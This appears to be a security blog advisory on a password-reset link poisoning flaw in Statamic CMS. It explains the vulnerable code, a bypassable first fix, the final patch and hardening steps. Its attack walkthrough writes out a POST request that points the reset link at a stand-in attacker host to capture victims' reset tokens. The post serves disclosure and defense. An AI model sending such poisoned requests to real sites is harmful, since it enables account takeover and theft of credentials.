Feb 24, 2026·5 min read·34 visits
Statamic CMS allowed users to define the `_reset_url` parameter in password reset requests without validation. Attackers can abuse this to redirect the password reset token to their own domain when a victim clicks the link in a legitimate email. This leads to full account takeover.
A critical vulnerability in Statamic CMS turns the password reset feature into an account takeover weapon. By injecting a malicious base URL into the reset request, attackers can force the system to email valid users a link that sends their reset token directly to the attacker's server.
In the world of web security, there is a golden rule that every junior developer learns (and eventually ignores): Never Trust User Input.
Statamic, a popular "flat-file first" Laravel CMS, unfortunately decided to be a little too trusting. In an effort to make their system flexible, they allowed developers to customize where a user lands after clicking a password reset link. This was controlled by a simple parameter in the POST request called _reset_url.
Ideally, this parameter would just point to a relative path like /reset-password. But because the code didn't validate the input, it became a "Choose Your Own Adventure" for hackers. Instead of sending the user to the CMS's reset page, an attacker could politely ask the CMS to send the user—and their precious reset token—straight to an evil server controlled by the attacker.
This vulnerability (CWE-640) is a textbook example of Password Reset Link Poisoning. The mechanism is simple: the application generates a cryptographic token (abc123...) that proves you are the account owner. It needs to send this token to you in a link.
The flaw resides in how Statamic constructed that link. Instead of using the server's configured APP_URL or ROOT domain, it prioritized the user-supplied _reset_url from the incoming HTTP request.
When the legitimate application processes the password reset request, it dutifully composes an email to the victim. It says, "Hey, here is your link!" followed by {_reset_url}?token={secret}. If I, the attacker, set _reset_url to https://evil-hacker.com, the valid Statamic server sends a valid email to the victim pointing to my website. The moment the victim clicks that link, their browser sends a GET request to my server, appending their secret token in the query string. Game over.
The remediation history for this bug is almost as interesting as the bug itself. It highlights a common developer fallacy: attempting to sanitize input with regex or string matching instead of strict validation.
The Original Sin: The code simply accepted the input:
if ($url = $request->_reset_url) {
// No validation whatsoever
PasswordReset::resetFormUrl(URL::makeAbsolute($url));
}The Failed Fix (Attempt 1):
The developers realized this was bad and tried to ensure the URL started with the site's legitimate URL using Str::startsWith.
// Flawed Logic
$isExternal = ... ->filter(fn ($siteUrl) => Str::startsWith($url, $siteUrl))->isEmpty();Why it failed: Str::startsWith is dumb. If your site is https://example.com, and I send https://example.com.attacker.com, the check passes because the string technically starts with the correct characters. This is a classic subdomain/suffix bypass.
The Real Fix (Attempt 2): The final patch (v5.73.10 / v6.3.3) stops playing games with strings and parses the actual domain structure.
// Solid Logic
$urlDomain = parse_url($url, PHP_URL_HOST);
// ... compare $urlDomain strictly against known site domainsBy parsing the host, example.com and example.com.attacker.com are treated as distinct entities, closing the vulnerability.
Let's walk through how a black-hat would weaponize this. The beauty of this attack is that the phishing email comes from the legitimate server. It passes SPF, DKIM, and DMARC checks because it is a real email from the system.
Step 1: Recon
The attacker finds a Statamic login page and identifies the admin email (e.g., admin@target-corp.com).
Step 2: The Poisoned Request
The attacker sends a POST request to the password reset endpoint:
POST /!/auth/password/email HTTP/1.1
Host: target-corp.com
Content-Type: application/x-www-form-urlencoded
email=admin@target-corp.com&_reset_url=https://attacker-logger.com/collectStep 3: The Trap The target admin receives an email: "Someone requested a password reset. If this was you, click here." The link looks like a button. The admin thinks, "Weird, I didn't request this," but curiosity (or fear of being hacked) often drives them to click it to "cancel" or investigate.
Step 4: The Capture
The admin clicks. Their browser opens https://attacker-logger.com/collect?token=VERY_SECRET_TOKEN&email=.... The attacker's access logs now contain the keys to the kingdom.
Why is this rated CVSS 9.3 (Critical)? Because in a CMS environment, Administrator access is usually synonymous with Remote Code Execution (RCE).
Once the attacker uses the stolen token to reset the admin's password and log in, they can typically:
This vulnerability bypasses all authentication perimeters. It doesn't matter how strong the admin's password was; the reset mechanism itself was the weak link. It requires user interaction (clicking the link), but since the email is legitimate, the success rate is exponentially higher than standard phishing.
If you are running Statamic v5 or v6, you are likely vulnerable. The patch is straightforward.
Immediate Action: Update to v5.73.10 or v6.3.3 immediately. These versions enforce strict domain whitelisting for the reset URL.
Defense in Depth: Even after patching, you should harden your environment:
_reset_url if your application doesn't actually need that feature (most don't).APP_URL environment variable is set correctly and forcing HTTPS.TrustProxies middleware in Laravel to only trust headers from known load balancers, preventing Host header spoofing which can sometimes achieve similar results.CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Statamic CMS Statamic | < 5.73.10 | 5.73.10 |
Statamic CMS Statamic | >= 6.0.0-alpha.1 < 6.3.3 | 6.3.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-640 |
| Attack Vector | Network |
| CVSS Score | 9.3 (Critical) |
| Exploit Status | PoC Available |
| Impact | Account Takeover |
| Platform | PHP / Laravel |
Weak Password Recovery Mechanism for Forgotten Password